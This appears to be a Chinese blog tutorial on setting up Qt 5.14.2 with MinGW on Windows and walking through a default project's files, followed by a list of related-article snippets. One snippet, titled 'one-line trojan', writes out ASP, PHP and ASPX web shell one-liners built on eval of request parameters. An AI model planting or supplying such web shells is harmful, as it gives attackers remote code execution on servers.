Qt环境搭建

embedded/2024/10/21 15:26:57/

下载QtSDK

下载QtSDK当然是去官方网站下载。

Index of /archive/qt/5.14/5.14.2

不过由于官方网站是国外的网站,如果不进行科学上网会很慢,这里贴上我的百度网盘资源。

链接:https://pan.baidu.com/s/1eU1Gw8e8Ax5UDyHM9bNG_w 
提取码:csdn

下载完之后就可以直接进行安装了。

下载的时候需要注意选择正确的组件。

一个是 MinGW 7.3.0 64 bit 的组件,这个是一个QT自带的编译器

一个是 下面的 QTCreator 和 MinGW 7.3.0.64 bit。 

 然后就直接安装即可。

配置环境变量

安装完QT之后,再通过 5.14.2 目录下的 mingw 73_64 下的 bin 目录。

复制该文件路径之后,再添加到path环境变量下即可。

搜索 环境变量 之后即可直接打开该属性,点击环境变量之后即可在系统变量中找到 path 环境变量。直接添加后并确定即可。

创建一个空项目

打开QtCreator后,在左上角的文件下新建文件或者项目。

然后选择红框标记的部分。 

然后选择项目的文件路径,这里的路径需要纯英文的,否则编译构建的时候会报错。 

接着一路下一步即可创建一个项目。 

接着左下角的两个按钮就分别是运行和调试了。 

然后试着运行一下默认的代码可以看到成功构建一个窗口了。 

项目代码详解

在QT创建项目的 main 文件中,一般会创建一个 QApplication对象和一个 MainWindow 对象。

这个 MainWindow 对象一般看创建项目的时候选择的是什么控件,如果是 Widget 控件那么就是 Widget 对象。

 而包含的头文件 mainwindow.h 中的代码只有初始化和析构函数。

 

点击 .ui 文件,即可直接进入 QT designer 界面。

 

实际上 .ui 文件本体就是一个 xml 格式的文件。可以通过最左边栏的编辑按钮查看。

 

 在 .pro  文件可以看到一些指令,这个文件类似 linux 中的 makefile 文件。

当一个项目运行后,QT会为该项目生成一些代码。

如 ui.mainwindow.h。

 

该文件包含了 MainWindow 生成窗口的一些具体细节。

 


http://www.ppmy.cn/embedded/10595.html

相关文章

快递查询API接口如何对接

快递查询API接口又叫物流查询API接口,指的是输入快递单号和快递代号查询实时物流信息,支持国内外1500物流快递公司的物流跟踪服务,包括顺丰、圆通、申通、中通、韵达等主流快递公司。那么快递查询API接口该如何对接呢? 首先我们找…

Matlab数字图像处理-图像对齐

任务:在下面两幅图像中找不同,并将不同之处标出来。提示:两幅图像没有对齐(有一定的平移量);首先通过算法对齐图像。 算法原理: 使用图像的互相关来找到图像之间的平移量。图像的互相关是一种用…

Tensorflow2.0笔记 - 使用卷积神经网络层做CIFA100数据集训练(类VGG13)

本笔记记录CNN做CIFAR100数据集的训练相关内容,代码中使用了类似VGG13的网络结构,做了两个Sequetial(CNN和全连接层),没有用Flatten层而是用reshape操作做CNN和全连接层的中转操作。由于网络层次较深,参数量…

JVM之本地方法栈和程序计数器和堆

本地方法栈 本地方法栈是为虚拟机执行本地方法时提供服务的 JNI:Java Native Interface,通过使用 Java 本地接口程序,可以确保代码在不同的平台上方便移植 不需要进行 GC,与虚拟机栈类似,也是线程私有的,…

Vue 3响应式系统全解析:深入ref、reactive、computed、watch及watchEffect

一、ref与breactive 宏观角度看: 1.ref 用来定义:基本类型数据、对象类型数据;2.reactive 用来定义:对象类型数据。 区别: 【ref 】创建的变量必须使用.value 。【reactive】 重新分配一个新对象,会失去响应式(可以使用0biect…

ChatGPT:让论文写作变得轻松愉快

ChatGPT无限次数:点击直达 ChatGPT:让论文写作变得轻松愉快 在当今信息爆炸的时代,论文写作是许多学术研究者和学生必须面对的挑战之一。从收集数据到整理结构,再到撰写内容,每个步骤都需要耗费大量时间和精力。但是,…

一句话木马

asp一句话木马&#xff1a; <%execute(request("value"))%> php一句话木马&#xff1a; <?phpeval($_POST[value]);?> 变形&#xff1a;<?php$x$_GET[‘z’];eval(“$x;”);?> aspx一句话木马&#xff1a; <% PageLanguage"Jscri…

创新入门|解锁您的潜在市场:探秘付费点击广告(PPC)的秘密武器

在我们的营销领域&#xff0c;按点击付费 &#xff08;PPC&#xff09; 广告是增加流量、提高知名度并最终将点击转化为客户的基石策略。这种有针对性的广告模式&#xff0c;即企业只在点击广告时付费&#xff0c;彻底改变了公司投资在线推广的方式。尽管它看起来很简单&#x…